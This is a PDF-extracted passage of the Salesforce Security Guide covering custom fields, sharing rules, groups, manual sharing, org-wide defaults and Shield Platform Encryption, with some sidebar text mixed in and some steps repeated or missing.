Master-Detail Relationship option is available for custom objects only when
the custom object doesn’t already have a master-detail relationship. USER PERMISSIONS
• Custom settings and external objects allow only a subset of the available data types.
To create or change custom
• You can’t add a multi-select picklist, rich text area, or dependent picklist custom field to fields:
opportunity splits. • Customize Application
• Relationship fields count towards custom field limits.
• Additional field types may appear if an AppExchange package using those field types is
installed.
• The Roll-Up Summary option is available on certain objects only.
• Field types correspond to API data types.
• If your organization uses Shield Platform Encryption, ensure you understand how to encrypt custom fields using the Shield
Platform Encryption offering.
4. For relationship fields, associate an object with the field and click Next.
5. For indirect lookup relationship fields, select a unique, external ID field on the parent object, and then click Next. The parent field
values are matched against the values of the child indirect lookup relationship field to determine which records are related to each
other.
6. To base a picklist field on a global picklist value set, select the value set to use.
118
Salesforce Security Guide Field-Level Security
Tip: Ensure that the custom field name and label are unique for that object.
• If a standard and custom field have identical names or labels, the merge field displays the custom field value.
• If two custom fields have identical names or labels, the merge fieldcan display an unexpected value.
If you create a field label called Email and a standard field labeled Email exists, the merge field is unable to distinguish
between the fields. Adding a character to the custom field name makes it unique. For example, Email2.
8. Enter field attributes and select the appropriate checkboxes to specify whether the field must be populated and what happens if
the record is deleted.
9. For master-detail relationships on custom objects, optionally select Allow reparenting to allow a child record in the master-detail
relationship to be reparented to a different parent record.
10. For relationship fields, optionally create a lookup filter to limit search results for the field. Not available for external objects.
11. Click Next.
12. In Enterprise, Unlimited, Performance, and Developer Editions, specify the field’s access settings for each profile, and click Next.
Users can read but not edit the field. Visible and Read-Only
Note:
• When you create a custom field, by default the field isn’t visible or editable for portal profiles, unless the field is universally
required.
13. Choose the page layouts that will display the editable field and click Next.
Universally required Can’t remove it from page layouts or make read only.
14. For relationship fields, optionally create an associated records related list and add it to page layouts for that object.
• To edit the related list name on page layouts, click Related List Label and enter the new name.
119
Salesforce Security Guide Sharing Rules
• To add the related list to customized page layouts, select Append related list to users’ existing personal
customizations.
15. Click Save to finish or Save & New to create more custom fields.
Note: Creating fields can require changing a large number of records at once. If your request is queued to process these changes
efficiently, you receive an email notification when the process has completed.
SEE ALSO:
Salesforce Help: Find Object Management Settings
Sharing Rules
Use sharing rules to extend sharing access to users in public groups, roles, or territories. Sharing
EDITIONS
rules give particular users greater access by making automatic exceptions to your org-wide sharing
settings. Available in: both Salesforce
Note: Who Sees What: Record Access via Sharing Rules (English only) Classic (not available in all
orgs) and Lightning
Watch how you can grant access to records using sharing rules. Experience
Like role hierarchies, a sharing rule can never be stricter than your org-wide default settings. It simply Available in: Professional,
allows greater access for particular users. Enterprise, Performance,
Unlimited, and Developer
You can base a sharing rule on record ownership or other criteria. After you select which records
Editions
to share, you define which groups or users to extend access to and what level of access they have.
See Sharing Rule
Note: You can define up to 300 total sharing rules for each object, including up to 50 Considerations for more
criteria-based or guest user sharing rules, if available for the object. information on availability.
You can create these types of sharing rules. Your org could have other objects that are available for
sharing rules.
Account territory sharing rules (Not available Territory assignment Accounts and their associated cases,
with Enterprise Territory Management) contacts, contracts, and opportunities
Asset sharing rules Asset owner or other criteria, including asset Individual assets
record types or field values
Campaign sharing rules Campaign owner or other criteria, including Individual campaigns
campaign record types or field values
Case sharing rules Case owner or other criteria, including case Individual cases and associated accounts
record types or field values
Contact sharing rules Contact owner or other criteria, including Individual contacts and associated accounts
contact record types or field values
120
Salesforce Security Guide Sharing Rules
Data privacy sharing rules Data privacy record owner or other criteria, Individual data privacy records
including field values. Data privacy records
are based on the Individual object.
Knowledge article sharing rules Knowledge article owner or other criteria, Individual article versions
including Knowledge object record types
or field values
Flow interview sharing rules Flow interview owner or other criteria, such Individual flow interviews
as the pause reason
Lead sharing rules Lead owner or other criteria, including lead Individual leads
record types or field values
Maintenance plan sharing rules Maintenance plan owner or other criteria Individual maintenance plans
Opportunity sharing rules Opportunity owner or other criteria, Individual opportunities and their associated
including opportunity record types or field accounts
values
Order sharing rules Order owner or other criteria, including Individual orders
order record types or field values
Product item sharing rules Product item owner or other criteria Individual product items
Product request sharing rules Product request owner only; criteria-based Individual product requests
sharing rules aren’t available
Product transfer sharing rules Product transfer owner only; criteria-based Individual product transfers
sharing rules aren’t available
Return order sharing rules Return order owner or other criteria Individual return orders
Service appointment sharing rules Service appointment owner or other criteria Individual service appointments
Service contract sharing rules Service contract owner or other criteria Individual service contracts
Service crew sharing rules Service crew owner only; criteria-based Individual service crews
sharing rules aren’t available
Service resource sharing rules Service resource owner or other criteria Individual service resources
Service territory sharing rules Service territory owner or other criteria Individual service territories
Shipment sharing rules Shipment owner only; criteria-based sharing Individual shipments
rules aren’t available
Time sheet sharing rules Time sheet owner only; criteria-based Individual time sheets
sharing rules aren’t available
121
Salesforce Security Guide Sharing Rules
User provisioning request sharing rules User provisioning request owner, only; Individual user provisioning requests
criteria-based sharing rules aren’t available
Work order sharing rules Work order owner or other criteria, including Individual work orders
work order record types or field values
Work type sharing rules Work type owner or other criteria Individual work types
Note: Developers can use Apex to programmatically share custom objects based on record owners but not other criteria.
IN THIS SECTION:
Sharing Rule Types
You can base a sharing rule on record ownership or other criteria.
Create Owner-Based Sharing Rules
An owner-based sharing rule opens access to records owned by certain users.
Create Criteria-Based Sharing Rules
A criteria-based sharing rule determines with whom to share records based on field values.
Create Guest User Sharing Rules
A guest user sharing rule is a special type of criteria-based sharing rule and the only way to grant record access to unauthenticated
guest users. Guest user sharing rules can only grant Read Only access.
Sharing Rule Categories
When you define a sharing rule, you can choose from the following categories in the owned by members of and Share
with dropdown lists. Depending on the type of sharing rule and the features enabled for your organization, some categories may
not appear.
Edit Sharing Rules
For a sharing rule based on owner or group membership, you can edit only the sharing access settings. For a sharing rule based on
other criteria, you can edit the criteria and sharing access settings.
Sharing Rule Considerations
Review the following notes before using sharing rules.
Recalculate Sharing Rules
When you make changes to groups, roles, and territories, sharing rules are reevaluated to add or remove access as necessary.
Asynchronous Parallel Recalculation of Sharing Rules
Speed up sharing rule recalculation by running it asynchronously and in parallel.
122
Salesforce Security Guide Sharing Rules
Note:
• A criteria-based sharing rule is based on record values and not the record owners. However,
a role or territory hierarchy still allows users higher in the hierarchy to access the records.
• You can’t use Apex to create a criteria-based sharing rule. And you can’t test criteria-based
sharing using Apex.
• Starting with API version 24.0, you can use the Metadata API SharingRules type to create
criteria-based sharing rules.
You can create criteria-based sharing rules for accounts, assets, campaigns, cases, contacts, leads, opportunities, work orders, and custom
objects. For the sharing criteria, record types and these field types are supported.
• Auto Number
• Checkbox
• Date
• Date/Time
• Email
• Lookup Relationship (to user ID or queue ID)
• Number
• Percent
• Phone
• Picklist
• Text
• Text Area
• URL
Note: Text and Text Area are case-sensitive. For example, a criteria-based sharing rule that specifies “Manager” in a text field
doesn’t share records that have “manager” in the field. To create a rule with several common cases of a word, enter each value
separated by a comma.
123
Salesforce Security Guide Sharing Rules
Warning: The guest user sharing rule type grants access to guest users without login credentials. By creating a guest user sharing
rule, you're allowing immediate and unlimited access to all records matching the sharing rule's criteria to anyone. To secure your
Salesforce data and give your guest users access to what they need, consider all the use cases and implications of creating this
type of sharing rule. Implement security controls that you think are appropriate for the sensitivity of your data. Salesforce is not
responsible for any exposure of your data to unauthenticated users based on this change from default settings.
You can't share records owned by high-volume Experience Cloud site users with guest users using any sharing method. In general, you
can't use sharing rules to share records owned by high-volume users or use sharing rules to grant them access to records.
You can also create sharing rules based on account territories or group membership.
8. Specify the users who get access to the data. For Share with, select a category from the first To create sharing rules:
dropdown list and a set of users from the second dropdown list or lookup field. • Manage Sharing
9. Select sharing access settings for users. Some access settings aren’t available for some objects
or in some situations.
Full Access Users in the selected group, role, or territory can view, edit,
transfer, delete, and share the record, just like the record’s owner.
With a Full Access sharing rule, users can also view, edit, delete,
and close activities associated with the record if the org-wide
sharing setting for activities is Controlled by Parent.
124
Salesforce Security Guide Sharing Rules
Note: Contact Access isn’t available when the organization-wide default for contacts is set to Controlled by Parent.
Note: To use a field that’s not supported by criteria-based sharing rules, create a workflow
rule or Apex trigger to copy the value of the field into a text or numeric field. Then use
that field as the criterion.
8. Specify the users who get access to the data. For Share with, select a category from the first dropdown list and a set of users from
the second dropdown list or lookup field.
9. Select sharing access settings for users. Some access settings aren’t available for some objects or in some situations.
125
Salesforce Security Guide Sharing Rules
Note: Contact Access isn’t available when the organization-wide default for contacts is set to Controlled by Parent.
Note: To use a field that’s not supported by criteria-based sharing rules, create a workflow rule or Apex trigger to copy the
value of the field into a text or numeric field. Then use that field as the criterion.
126
Salesforce Security Guide Sharing Rules
Roles All roles defined for your organization, excluding site and portal roles.
This includes all of the users in the specified role.
Portal Roles All roles defined for your organization’s site or portal. This includes
all users in the specified role, except high-volume users.
A site or portal role name includes the name of the account that it’s
associated with, except for person accounts, which include the user
Alias.
Roles and Subordinates All roles defined for your organization. This includes all of the users
in the specified role plus all of the users in roles below that role. This
is only available when no Salesforce Experience sites or portals are
enabled for your organization.
Portal Roles and All roles defined for your organization’s site or portal. This includes
Subordinates all of the users in the specified role plus all of the users below that
role in the site or portal role hierarchy, except for high-volume users.
A site or portal role name includes the name of the account that it’s
associated with, except for person accounts, which include the user
Alias.
127
Salesforce Security Guide Sharing Rules
Category Description
Roles and Internal Subordinates All roles defined for your organization. This includes all of the users in the specified role plus all
of the users in roles below that role, excluding site and portal roles.
This category is displayed only if Salesforce Experiences or portals are enabled for your
organization.
Roles, Internal and Portal All roles defined for your organization. This includes all of the users in the specified role plus all
Subordinates of the users in roles below that role, including site and portal roles.
Territories and Subordinates All territories defined for your organization. This includes the specified territory plus all territories
below it.
5. Select sharing access settings for users. Some access settings aren’t available for some objects or in some situations.
128
Salesforce Security Guide Sharing Rules
Full Access Users in the selected group, role, or territory can view, edit,
transfer, delete, and share the record, just like the record’s owner.
With a Full Access sharing rule, users can also view, edit, delete,
and close activities associated with the record if the org-wide
sharing setting for activities is Controlled by Parent.
Available for campaigns only.
Note: Contact Access isn’t available when the organization-wide default for contacts is set to Controlled by Parent.
6. Click Save.
129
Salesforce Security Guide Sharing Rules
Availability
• Account, account territory, campaign, case, contact, lead, opportunity, and custom object sharing rules are available for Enterprise,
Performance, Unlimited, and Developer Editions.
• Only account, asset, campaign, and contact sharing rules are available in Professional Edition.
• Only custom object sharing rules are available in Database.com
• Account territory sharing rules aren’t available with Enterprise Territory Management.
• Criteria-based sharing rules aren’t available for all objects.
• Your org might have other objects that are available for sharing rules. See the Sharing Settings setup page to see which sharing
rules are available.
Updating
• Creating an owner-based sharing rule with the same source and target groups as an existing rule overwrites the existing rule.
• Once a sharing rule has been saved, you can’t change the Share with field settings when you edit the sharing rule.
• Sharing rules apply to all new and existing records that meet the definition of the source data set.
• Sharing rules apply to both active and inactive users.
• When you change the access levels for a sharing rule, all existing records are automatically updated to reflect the new access
levels.
• When you delete a sharing rule, the sharing access created by that rule is automatically removed.
• When you modify which users are in a group, role, or territory, the sharing rules are reevaluated to add or remove access as
necessary.
• When you transfer records from one user to another, the sharing rules are reevaluated to add or remove access to the transferred
records as necessary.
• Making changes to sharing rules may require changing a large number of records at once. If your request is queued to process
these changes efficiently, you receive an email notification when the process has completed.
• Lead sharing rules don’t automatically grant access to lead information after leads are converted into account, contact, and
opportunity records.
Site and Portal Users
• You can create rules to share records between most types of site or portal and Salesforce users. Similarly, you can create sharing
rules between site or portal users from different accounts as long as their license type supports roles. However, you can’t include
high-volume Experience Cloud site users in sharing rules because they don’t have roles and can’t be in public groups.
• After enabling digital experiences, existing sharing rules automatically extend access to external users. This change occurs
because sharing rules that grant access to Roles and Subordinates are converted to grant access to Roles, Internal and Portal
Subordinates instead. Update your sharing rules to ensure that external users can't access records or folders containing sensitive
data.
• You can easily convert sharing rules that include Roles, Internal and Portal Subordinates to include Roles and Internal Subordinates
instead by using the Convert External User Access Wizard on the Digital Experiences Settings Setup page. Furthermore, you can
use this wizard to convert any publicly accessible report, dashboard, and document folders to folders that are accessible by all
users except for external users. For more information, see Considerations for the Convert External User Access Wizard.
• You can only use guest user sharing rules to share records with unauthenticated guest users.
• For more information on using sharing rules in Experience Cloud sites, check out Who Sees What in Communities: Sharing Rules.
Managed Package Fields
If a criteria-based sharing rule references a field from a licensed managed package whose license has expired, (expired) is
appended to the label of the field. The field label is displayed in the field dropdown list on the rule’s definition page in Setup.
130
Salesforce Security Guide Sharing Rules
Criteria-based sharing rules that reference expired fields aren't recalculated, and new records aren't shared based on those rules.
However, the sharing of existing records prior to the package's expiration is preserved.
Note: The Recalculate button is disabled when group membership or sharing rule
calculations are deferred. USER PERMISSIONS
When sharing is recalculated, Salesforce also runs all Apex sharing recalculations. During sharing To recalculate sharing rules:
rule recalculation, related object sharing rules are calculated as well. For example, when recalculating • Manage Sharing
sharing rule for opportunities, account sharing rules are recalculated since opportunity is a detail
of an account object. You receive an email notification when the recalculation is completed for all
affected objects.
Automatic sharing rule calculation is enabled by default. You can defer sharing rule calculation by suspending and resuming at your
discretion.
Parallel sharing rule recalculation is also run if you click the Recalculate button on the Sharing Available in: Professional,
Settings or Defer Sharing Calculations pages. Enterprise, Performance,
Unlimited, and Developer
You can monitor the progress of your parallel recalculation on the Background Jobs page or view
Editions
your recent sharing operations on the View Setup Audit Trail page.
See Sharing Rule
Note: If the number of impacted records from an owner-based sharing rule insert or update Considerations for more
is less than 25,000, recalculation runs synchronously and you won’t receive an email notification information on availability.
when it’s completed. Owner-based sharing rule inserts and updates impacting less than
25,000 records are not available on the Background Jobs page.
131
Salesforce Security Guide User Sharing
Recalculation of sharing rules maintains implicit sharing between accounts and child records. In the Background Jobs page, these
processes correspond to these job sub types: Account — Extra Parent Access Removal and Account — Parent Access Grant.
Additionally, deleting a sharing rule corresponds to the job sub type Object — Access Cleanup, denoting that irrelevant share rows
are removed.
User Sharing
User Sharing enables you to show or hide an internal or external user from another user in your
EDITIONS
organization.
Watch a demo: Who Sees What: User Sharing (English only) Available in: both Salesforce
Classic (not available in all
With User Sharing, you can:
orgs) and Lightning
• Assign the “View All Users” permission to users who need to see or interact with all users. This Experience
permission is automatically enabled for users who have the “Manage Users” permission.
Available in: Enterprise,
• Set the organization-wide default for user records to Private or Public Read Only. Performance, Unlimited,
• Create user sharing rules based on group membership or other criteria. and Developer Editions
• Create manual shares for user records to open up access to individual users or groups.
• Control the visibility of external users.
IN THIS SECTION:
Understanding User Sharing
Review these considerations before you implement user sharing.
Set the Org-Wide Sharing Defaults for User Records
Set the org-wide sharing defaults for the user object before opening up access.
132
Salesforce Security Guide User Sharing
133
Salesforce Security Guide What Is a Group?
4. Click Save.
Users have Read access to those below them in the role hierarchy and full access on their own user record.
What Is a Group?
A group consists of a set of users. A group can contain individual users, other groups, or the users
EDITIONS
in a particular role or territory. It can also contain the users in a particular role or territory plus all the
users below that role or territory in the hierarchy. Available in: both Salesforce
There are two types of groups. Classic (not available in all
orgs) and Lightning
Public groups
Experience
Administrators and delegated administrators can create public groups. Everyone in the
organization can use public groups. For example, an administrator can create a group for an Available in: Professional,
employee carpool program. All employees can then use this group to share records about the Enterprise, Performance,
program. Unlimited, Developer, and
Database.com Editions
Personal groups
Each user can create groups for their personal use. For example, users might need to ensure
that certain records are always shared within a specified workgroup.
Tip: Permission set groups consist of permission sets rather than users. Permission set groups bundle permission sets based on
job functions or tasks. To learn more about permission set groups and why you use them, see Permission Set Groups.
You can use groups in the following ways.
• To set up default sharing access via a sharing rule
• To share your records with other users
• To specify that you want to synchronize contacts owned by other users
134
Salesforce Security Guide What Is a Group?
IN THIS SECTION:
Create and Edit Groups
Only administrators and delegated administrators can create and edit public groups, but anyone can create and edit their own
personal groups.
Group Member Types
Many types of groups are available for various internal and external users.
135
Salesforce Security Guide What Is a Group?
and the “View All Data” and “Modify All Data” system permissions—can
still access records they don’t own.
Search From the Search dropdown, select the type of member to add. If you don’t
see the member you want to add, enter keywords in the search box and click
Find.
Selected Members Select members from the Available Members box, and click Add to add them
to the group.
Selected Delegated Groups In this list, specify any delegated administration groups whose members can
add or remove members from this public group. Select groups from the
Available Delegated Groups box, and then click Add. This list appears only
in public groups.
4. Click Save.
Note: When you edit groups, roles, and territories, sharing rules are recalculated to add or remove access as needed.
136
Salesforce Security Guide What Is a Group?
Portal Roles and Subordinates All roles defined for your organization’s site or portal. This includes
all of the users in the specified role plus all of the users below that
role in the site or portal role hierarchy, except for high-volume
users.
Roles All roles defined for your organization. Adding a role to a group
includes all of the users in that role, but does not include site or
portal roles.
Roles and Internal Subordinates Adding a role and its subordinate roles includes all of the users in
that role plus all of the users in roles below that role. This doesn't
include site or portal roles or users.
Roles and Subordinates Adding a role and its subordinate roles includes all of the users in
that role plus all of the users in roles below that role. This is only
available when no Salesforce Experience sites or portals are enabled
for your organization.
Roles, Internal and Portal Subordinates Adding a role and its subordinate roles includes all of the users in
that role plus all of the users in roles below that role. This is only
available when Salesforce Experiences or portals are enabled for
your organization. This includes site and portal users.
Users All users in your organization. This doesn't include site or portal
users.
137
Salesforce Security Guide Manual Sharing
Manual Sharing
Manual sharing gives other users access to certain types of records, including accounts, contacts,
EDITIONS
and leads.
Sometimes, granting access to one record includes access to all its associated records. For example, Available in: both Salesforce
if you grant another user access to an account, the user automatically has access to all the Classic (not available in all
opportunities and cases associated with that account. orgs) and Lightning
Experience
To grant access to a record, you must be one of the following users.
• The record owner Available in: Professional,
Enterprise, Performance,
• A user in a role above the owner in the hierarchy (if your organization’s sharing settings control Unlimited, and Developer
access through hierarchies) Editions
• Any user granted Full Access to the record
• An administrator
If a user transfers ownership of a record, Salesforce deletes any manual shares created by the original record owner, which can cause
users to lose access. When account ownership is transferred, manual shares created by the original account owner on child records, such
as opportunities and cases, are also deleted.
138
Salesforce Security Guide Organization-Wide Sharing Defaults
Note: Who Sees What: Org-Wide Defaults (English only) Available in: both Salesforce
Classic (not available in all
Watch how you can restrict access to records owned by other users. orgs) and Lightning
Experience
1. From Setup, in the Quick Find box, enter Sharing Settings, then select Sharing
Settings. Available in: Professional,
Enterprise, Performance,
2. Click Edit in the Organization-Wide Defaults area.
Unlimited, and Developer
3. For each object, select the default internal access that you want to use. For information on Editions
setting the default external access, see External Organization-Wide Defaults Overview.
4. To disable automatic access using your hierarchies for custom objects, deselect Grant Access USER PERMISSIONS
Using Hierarchies. You can only deselect this setting for custom objects that don’t have a
default access of Controlled by Parent. For more information, see Controlling Access Using To set default sharing
Hierarchies in Salesforce Help. access:
• Manage Sharing
When you update organization-wide defaults, sharing recalculation applies the access changes to
your records. If you have a lot of data, the update can take longer.
If you’re increasing the default access, such as from Public Read Only to Public Read/Write, your changes take effect immediately. All
users get access based on the updated default access. Sharing recalculation is then run asynchronously to ensure that all redundant
access from manual or sharing rules is removed. When the default access for contacts is Controlled by Parent and you increase the default
access for accounts, opportunities, or cases, the changes take effect after recalculation is run. If you’re decreasing the default access, such
as from Public Read/Write to Public Read Only, your changes take effect after recalculation is run.
You’ll receive a notification email when the recalculation completes. Refresh the Sharing Settings page to see your changes. To view the
update status, from Setup, in the Quick Find box, enter View Setup Audit Trail, then select View Setup Audit Trail.
Note: The organization-wide sharing default setting can’t be changed for some objects:
• Service contracts are always Private.
• User provisioning requests are always Private.
• The ability to view or edit a document, report, or dashboard is based on a user’s access to the folder in which it’s stored.
• Users can view forecasts only of users and territories below them in the forecast hierarchy, unless forecast sharing is enabled.
• When a custom object is on the detail side of a master-detail relationship with a standard object, its organization-wide default
is set to Controlled by Parent and it is not editable.
• The organization-wide default settings can’t be changed from private to public for a custom object if Apex code uses the
sharing entries associated with that object. For example, if Apex code retrieves the users and groups who have sharing access
on a custom object Invoice__c (represented as Invoice__share in the code), you can’t change the object’s
organization-wide sharing setting from private to public.
Also, if the default access for Account is set to Private, the default access for Opportunity and Case must be set to Private as well.
The default access for Contact must be set to Private or Controlled by Parent.
139
Salesforce Security Guide Organization-Wide Sharing Defaults
Note: The external access level for an object can’t be more permissive than the internal Available in: Professional,
access level. Enterprise, Performance,
Unlimited, and Developer
You can set external organization-wide defaults for these objects. Your org might have other objects Editions
whose external organization-wide defaults can be modified.
• Account
• Asset
• Case
• Campaign
• Contact
• Individual
• Lead
• Opportunity
• Order
• User
• Custom Objects
External organization-wide defaults aren’t available for some objects, but you can achieve the same behavior with sharing rules. Set the
default access to Private and create a sharing rule to share records with all internal users.
External users include:
• Authenticated website users
• Chatter external users
• Site users
• Customer Portal users
• High-volume Experience Cloud site users
• Partner Portal users
• Service Cloud Portal users
Note: Chatter external users have access to only the User object.
Guest users aren't considered external users. Guest users’ org-wide defaults are set to Private for all objects, and this access level can’t
be changed.
IN THIS SECTION:
Set Your External Organization-Wide Sharing Defaults
External organization-wide defaults enable you to set a different default access level for external users.
140
Salesforce Security Guide Organization-Wide Sharing Defaults
Private Only users who are granted access by ownership, permissions, role
hierarchy, manual sharing, or sharing rules can access the records.
Public Read Only All users can view all records for the object.
Public Read/Write All users can view and edit all records for the object.
Note: The default external access level must be more restrictive or equal to the default internal access level. For example, you
can have a custom object with default external access set to Private and default internal access set to Public Read Only.
141
Salesforce Security Guide Strengthen Your Data's Security with Shield Platform
Encryption
4. Click Save.
IN THIS SECTION:
What You Can Encrypt
Shield Platform Encryption lets you encrypt a wide variety of standard fields and custom fields. You can also encrypt files and
attachments stored in Salesforce, Salesforce search indexes, and more. We continue to make more fields and files available for
encryption.
How Shield Platform Encryption Works
Shield Platform Encryption relies on a unique tenant secret that you control and a master secret that's maintained by Salesforce. By
default, we combine these secrets to create your unique data encryption key. You can also supply your own final data encryption
key. We use your data encryption key to encrypt data that your users put into Salesforce, and to decrypt data when your authorized
users need it.
Set Up Your Encryption Policy
An encryption policy is your plan for encrypting data with Shield Platform Encryption. You can choose how you want to implement
it. For example, you can encrypt individual fields and apply different encryption schemes to those fields. Or you can choose to encrypt
other data elements such as files and attachments, data in Chatter, or search indexes. Remember that encryption is not the same
thing as field-level security or object-level security. Put those controls in place before you implement your encryption policy.
Filter Encrypted Data with Deterministic Encryption
You can filter data that’s protected with Shield Platform Encryption using deterministic encryption. Your users can filter records in
reports and list views, even when the underlying fields are encrypted. You can apply case-sensitive deterministic encryption or
exact-match case-insensitive deterministic encryption to data on a field-by-field basis.
142
Salesforce Security Guide What You Can Encrypt
SEE ALSO:
https://help.salesforce.com/HTViewHelpDoc?id=security_pe_overview.htm
Classic Encryption for Custom Fields
143
Salesforce Security Guide What You Can Encrypt
Note: If your org has enabled Person Accounts, certain account and contact fields are combined into one record. In that case,
you can enable encryption for a different set of Account fields.
Accounts (if Person Accounts enabled for your org)
• Account Name
• Account Site
• Assistant
• Assistant Phone
• Billing Address (encrypts Billing Street and Billing City)
• Description
• Email
• Fax
• Home Phone
• Mailing Address (encrypts Mailing Street and Mailing City)
• Mobile
• Other Address (encrypts Other Street and Other City)
• Other Phone
• Phone
• Shipping Address (encrypts Shipping Street and Shipping City)
• Title
• Website
144
Salesforce Security Guide What You Can Encrypt
Activity
• Description (encrypts Event—Description and Task—Comment)
• Subject (encrypts Event—Subject and Task—Subject)
Note: Selecting an Activity field encrypts that fields on standalone events, event series (Lightning Experience), and recurring
events (Salesforce Classic).
Business License
• Identifier
Note: Emergency Response Management for Public Sector standard objects and fields are available to users who have the
Emergency Response for Public Sector permission set license.
Business License Application
• Site Address (encrypts Site Street and Site City)
Note: Emergency Response Management for Public Sector standard objects and fields are available to users who have the
Emergency Response for Public Sector permission set license.
Business Profile
• Business Operating Name
• Business Tax Identifier
Note: Emergency Response Management for Public Sector standard objects and fields are available to users who have the
Emergency Response for Public Sector permission set license.
Cases
• Description
• Subject
Case Comments
• Body (including internal comments)
Chat Transcript
• Body
• Supervisor Transcript Body
Note: Before you can apply encryption to Chat fields, add the Supervisor Transcript Body field to the LiveChatTranscript record
home layout.
Contacts
• Assistant
• Assistant Phone
• Description
• Email
• Fax
• Home Phone
• Mailing Address (encrypts Mailing Street and Mailing City)
• Mobile
• Name (encrypts First Name, Middle Name, and Last Name)
145
Salesforce Security Guide What You Can Encrypt
Note: Emergency Response Management for Public Sector standard objects and fields are available to users who have the
Emergency Response for Public Sector permission set license.
Custom Objects
• Name
Email Messages
• From Name
• From Address
• To Address
• CC Address
• BCC Address
• Subject
• Text Body
• HTML Body
• Headers
If you use Email-to-Case, these fields are also encrypted on the customer emails that generate cases.
Email Message Relations
• Relation Address
Health Cloud
Note: Health Cloud standard objects and fields are available to users who have the Health Cloud Platform permission set
license.
Care Request
• Admission Notes
• Disposition Notes
• Facility Record Number
• First Reviewer Notes
• Medical Director Notes
146
Salesforce Security Guide What You Can Encrypt
147
Salesforce Security Guide What You Can Encrypt
• Source System
• Source System Identifier
Note: Deterministic encryption is unavailable for long text fields and fields that have Notes in the name.
Identity Document
• Document Number
• Expiration Date
• Issue Date
Individual
• Name
Note: The Individual object is available only if you enable the org setting to make data protection details available in records.
Note: Insurance for Financial Services Cloud standard objects and fields are available to users who have Financial Services
Cloud enabled.
Business Milestone
• Milestone Name
Claim
• Claim Number
• Incident Site
• Report Number
Customer Property
• Address
• Lien Holder Name
Insurance Policy
• Policy Number
• Servicing Office
• Universal Policy Number
Person Life Event
• Event Name
Securities Holding
• Name
Leads
• Address (Encrypts Street and City)
• Company
• Description
• Email
• Fax
• Mobile
148
Salesforce Security Guide What You Can Encrypt
Note: Emergency Response Management for Public Sector standard objects and fields are available to users who have the
Emergency Response for Public Sector permission set license.
Recommendations
• Description
Regulatory Code Violation
• Corrective Action Description
• Description
Note: Emergency Response Management for Public Sector standard objects and fields are available to users who have the
Emergency Response for Public Sector permission set license.
Salesforce CPQ
Note: Salesforce CPQ standard objects and fields are available to users who have the Salesforce CPQ permission set license.
149
Salesforce Security Guide What You Can Encrypt
Lookup Data
• Lookup Data
Process Input Value
• Value
Quote
• Bill To City
• Bill To Country
• Bill To Name
• Bill To Postal Code
• Bill To State
• Bill To Street
• Introduction
• Notes
• Ship To City
• Ship To Country
• Ship To Name
• Ship To Postal Code
• Ship To State
• Ship To Street
Quote Template
• Company Name
Quote Term
• Body
Tax Exemption Certificate
• Certificate Number
• Country
• County
• Exempt Company Name
• Notes
• Postal Code
• State
• Street Address
• Street Address_2
Service Appointments
• Address (Encrypts Street and City)
• Description
• Subject
Training Course
• Description
150
Salesforce Security Guide What You Can Encrypt
• Name
Note: Emergency Response Management for Public Sector standard objects and fields are available to users who have the
Emergency Response for Public Sector permission set license.
Utterance Suggestion
• Utterance
Violation Enforcement Action
• Description
Note: Emergency Response Management for Public Sector standard objects and fields are available to users who have the
Emergency Response for Public Sector permission set license.
Web Quote
• Introduction
• Notes
• Ship to City
• Ship to Country
• Ship to Name
• Ship to Postal Code
• Ship to State
• Ship to Street
• Description
• Product Code
Work Orders
• Address (Encrypts Street and City)
• Description
• Subject
Work Order Line Items
• Address (Encrypts Street and City)
• Description
• Subject
Workplace Command Center
Note: To enable encryption on the Employee object, contact Salesforce Customer Support.
Employee
• Alternate Email
• Email
• First Name
• Home Address
• Home Phone
• Last Name
• Middle Name
151
Salesforce Security Guide What You Can Encrypt
Important: When you encrypt the Name field, enhanced lookups are automatically enabled. Enhanced lookups improve the
user’s experience by searching only through records that have been looked up recently, and not all existing records. Switching to
enhanced lookups is a one-way change. You can’t go back to standard lookups, even if you disable encryption.
You can’t use Schema Builder to create an encrypted custom field.
To encrypt custom fields that have the Unique or External ID attribute, you can only use deterministic encryption.
Note: This page is about Shield Platform Encryption, not Classic Encryption. What's the difference?
152
Salesforce Security Guide What You Can Encrypt
Note: This page is about Shield Platform Encryption, not Classic Encryption. What's the difference?
153
Salesforce Security Guide What You Can Encrypt
Chatter data is stored in the Feed Attachment, Feed Comment, Feed Poll Choice, Feed Post, and Feed Revision objects. The database
fields on these objects that house encrypted data are visible from the Encryption Statistics page in Setup.
• ChatterExtensionInstance—Payload
• ChatterExtensionInstance—PayloadVersion
• ChatterExtensionInstance—TextRepresentation
• ChatterExtensionInstance—ThumbnailUrl
• ChatterExtensionInstance—Title
• FeedAttachment—Title
• FeedAttachment—Value
• FeedComment—RawCommentBody
• FeedPollChoice—ChoiceBody
• FeedPost—LinkUrl
• FeedPost—RawBody
• FeedPost—Title
• FeedRevision—RawValue
Some fields listed in the Encryption Statistics aren’t visible in the UI by the same name. However, they store all encrypted data that’s
visible in the UI.
Note: Enabling Encryption for Chatter encrypts all eligible Chatter fields. You can’t choose to encrypt only some Chatter fields.
Einstein Analytics
Encrypts new Einstein Analytics datasets.
Note: Data that was in Einstein Analytics before encryption was enabled is not encrypted. If existing data is imported from
Salesforce objects through the dataflow, the data becomes encrypted on the next dataflow run. Other existing data (such as
CSV data) must be reimported to become encrypted. Although existing data is not encrypted, it is still accessible and fully
functional in its unencrypted state when encryption is enabled.
Salesforce B2B Commerce
With Shield Platform Encryption for B2B Commerce (version 4.10 and later), you can add an extra layer of security to the data your
customers enter in Salesforce B2B Commerce ecommerce storefronts. For a list of the supported fields, see Shield Platform Encryption
for B2B Commerce.
Search Indexes
When you encrypt search indexes, each file created to store search results is encrypted.
154
Salesforce Security Guide How Shield Platform Encryption Works
155
Salesforce Security Guide How Shield Platform Encryption Works
156
Salesforce Security Guide How Shield Platform Encryption Works
Master Secret
Used with the tenant secret and key derivation function to generate a derived data encryption key (customers can opt out of key
derivation). The master secret is rotated each release by Salesforce and encrypted using the per-release master wrapping key, which
is in turn encrypted with the Shield KMS’s public key so it can be stored encrypted on the file system. Only HSMs can decrypt it. No
Salesforce employees have access to these keys in cleartext.
Master Wrapping Key
A symmetric key is derived and used as a master wrapping key, also known as a key wrapping key, encrypting all the per-release
keys and secrets bundle.
Tenant Secret
An organization-specific secret used in conjunction with the master secret and key derivation function to generate a derived data
encryption key. When an organization administrator rotates a key, a new tenant secret is generated. To access the tenant secret via
the API, refer to the TenantSecret object. No Salesforce employees have access to these keys in cleartext.
